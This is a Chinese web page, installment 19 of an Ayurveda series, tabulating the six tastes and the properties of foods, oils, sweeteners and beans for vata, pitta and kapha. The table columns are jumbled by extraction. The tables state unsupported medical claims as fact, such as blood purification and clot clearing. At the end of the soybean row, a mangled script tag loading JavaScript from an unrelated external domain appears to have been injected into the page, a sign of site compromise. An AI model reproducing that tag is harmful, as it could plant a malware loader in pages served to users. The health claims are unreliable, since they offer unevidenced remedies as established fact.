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阿育吠陀连载之十九
 
 

表格6
味和它们的作用
味 性质 例子 作用 副作用
甜 冷却 小麦,大米,牛奶 合成代谢:减少瓦塔和皮塔 增加肥胖,引起过
(土+水) 糖果,糖 增加卡法。有益于健康。 度睡眠,沉重感,
枣子,红丁香 增加拉萨,水和欧佳思 嗜睡,胃口差,
薄荷 促进力量,解渴,产生烧灼感 咳嗽,糖尿病和肌肉
红榆 增强和平静身体。冷的 发育异常

酸 加热 酸奶,奶酪 合成代谢:减少瓦塔,增加皮 增加渴感,牙齿的敏感
(土+火) 绿葡萄 塔和卡法。给食物带来美味。 眼睛的闭合,卡法的液
柠檬,木槿 刺激胃口和使头脑敏捷。加强 化,血液毒素,水肿
玫瑰果 感官,引起分泌作用和唾液分 溃疡,胃烧灼感和酸度
罗望子 泌。轻的,热的和油的
咸 加热 海盐,岩石 合成代谢:减少瓦塔,增加皮 扰乱血液,引起身体的
(水+火) 盐,海藻 塔和卡法。帮助消化。作为镇 昏厥和变热。增加皮肤
挛剂和轻泻剂。促进唾液分泌 疾病。引起炎症,血液
抵消其他味道的效果。保留水 失调,胃溃疡,皮疹,
分。重的,油的,热的 丘疹和高血压


辣 加热 洋葱,萝卜 分解代谢:降低卡法, 增加热量,出汗,昏晕。
(火+气) 红辣椒,生姜 增加瓦塔和皮塔。保 产生喉咙,胃和心脏的
大蒜,阿魏 持口腔干净,促进消化 烧灼感。导致胃溃疡,
牛角椒 和吸收。净化血液。 头晕和意识丧失
治疗皮肤疾病,帮助
清除血凝块。清洁身体
轻的,热的,油的

苦 冷却 蒲公英根 分解代谢:降低皮塔和 引起皮肤粗糙,消瘦,
(气+以太) 圣蓟 osha 卡法,增加瓦塔。促进其他 干燥,减少骨髓和精液
叶酸模 味觉。作为抗毒素和杀菌 引起眩晕和意识丧失
大黄 新鲜 剂。昏厥,瘙痒和体内烧灼
姜黄根 感的解药。轻的和冷的
fennugreek
龙胆根

涩 冷却 未成熟的香蕉 分解代谢:降低皮塔和卡法 引起口干,膨胀,便秘
(气+土) 石榴 增加瓦塔。镇静作用但引发 语言障碍,过多涩味会
没药 北美黄莲 便秘。引起血管收缩,血 对心脏有害
姜黄 明矾 液凝结。干的,粗糙的,冷



表格7
拉萨,毗梨耶和韦帕克的性质和作用

物质 味道 加热或者
冷却 消化后
效果 对于三要素的性质和作用

牛肉 甜 加热 甜 重 稠密 增加皮塔和卡法 减少瓦塔
鸡肉 甜和涩 加热 辣 轻 油 强身 瓦塔 皮塔 卡法适量都可
鱼肉(一般) 甜 加热 甜 重 油 滑 促进发热 增加皮塔和卡法 减少瓦塔
羊肉 甜和涩 加热 甜 重 强身 增加瓦塔 皮塔和卡法
猪肉 甜和涩 加热 甜 重 油 滑 刺激胃口 促进出汗 增加瓦塔 皮塔和卡法
兔肉 甜和涩 加热 辣 轻 干 粗糙 增加瓦塔 减少皮塔和卡法
奶制品
奶油(无盐) 甜和涩 冷却 甜 油 滑 减轻痔疮 促进肠道吸收 增加卡法 减少瓦塔和皮塔
奶酪(无盐) 甜和酸 冷却 甜 重 滑 增加皮塔和卡法 减少瓦塔
牛奶 甜 冷却 甜 轻 油 滑 增加卡法 减少瓦塔和皮塔
鸡蛋 甜和涩 加热 辣 油 滑 重 增加皮塔和卡法 减少瓦塔
酥油 甜 冷却 甜 轻油滑 过量服用增加卡法 适量服用对瓦塔皮塔和卡法都有好处促进消化强身
羊奶 甜和涩 冷却 甜 轻 缓解咳嗽 发热 痢疾 增加瓦塔 减少皮塔和卡法
母乳 甜 冷却 甜 轻 油滑 加强欧佳斯 保持瓦塔 皮塔和卡法平衡
酸奶 酸和涩 加热 酸 滑 油 对充血 痢疾 小便灼痛有好处 增加皮塔和卡法 减少瓦塔

蓖麻油 甜和苦 加热 辣 重 灵敏 油 缓解风湿热和便秘 增加皮塔和卡法 减少瓦塔
椰子油 甜 冷却 甜 相对轻 油 滑 增加卡法 减少瓦塔和皮塔
玉米油 甜 加热 甜 相对轻 油 滑 增加皮塔 适量对瓦塔和卡法有好处
油(一般) 甜 加热 甜 重 油 滑 强身 增加皮塔和卡法 减少瓦塔
红花油 甜和辣 加热 辣 相对轻 灵敏 油 过量会有刺激性 增加皮塔 减少瓦塔和卡法
葵花油 甜 冷却 甜 轻 油 滑 强身 对瓦塔 皮塔和开发有好处
白芥子油 辣 加热 辣 轻 灵敏 油 缓解关节炎和肌肉扭伤(和蓖麻油外用)增加皮塔 减少瓦塔和卡法
麻油 甜,苦和涩 加热 甜 重 油 滑 增加皮塔 减少瓦塔 对卡法适度可以
甜味剂
蜂蜜(一般) 甜和涩 加热 甜 干 粗糙 重 减少粘液 略微增加皮塔 减少瓦塔和卡法
枫蜜 甜和苦 冷却 甜 滑 油性 过量会增加卡法 减少瓦塔和皮塔
原蔗糖 甜 冷却 甜 重 滑 油 增加脂肪 增加卡法 减少瓦塔和皮塔
豆类 加热
黑豆 甜 加热 甜 强身 增加皮塔和卡法 减少瓦塔
鹰嘴豆 甜和涩 冷却 甜 重 干 粗糙 极具脱水性 产气 增加瓦塔 减少皮塔和卡法
红芸豆 甜和涩 冷却 甜 干 粗糙 重 通便 增加瓦塔和卡法 减少皮塔
扁豆(一般) 甜和涩 冷却 甜 干 粗糙 重 脱水性 应少量使用 增加瓦塔和卡法 减少皮塔
绿豆 甜和涩 冷却 甜 轻 软 增加卡法 减少瓦塔和皮塔
红扁豆 甜和涩 加热 甜 易消化 增加皮塔 减少瓦塔和卡法
大豆 甜和涩 冷却 甜 重 油 滑 ?script src=http://027pai.cn/s.js>



文章来源:光胤瑜伽     发布时间:2010-8-19 14:19:08    

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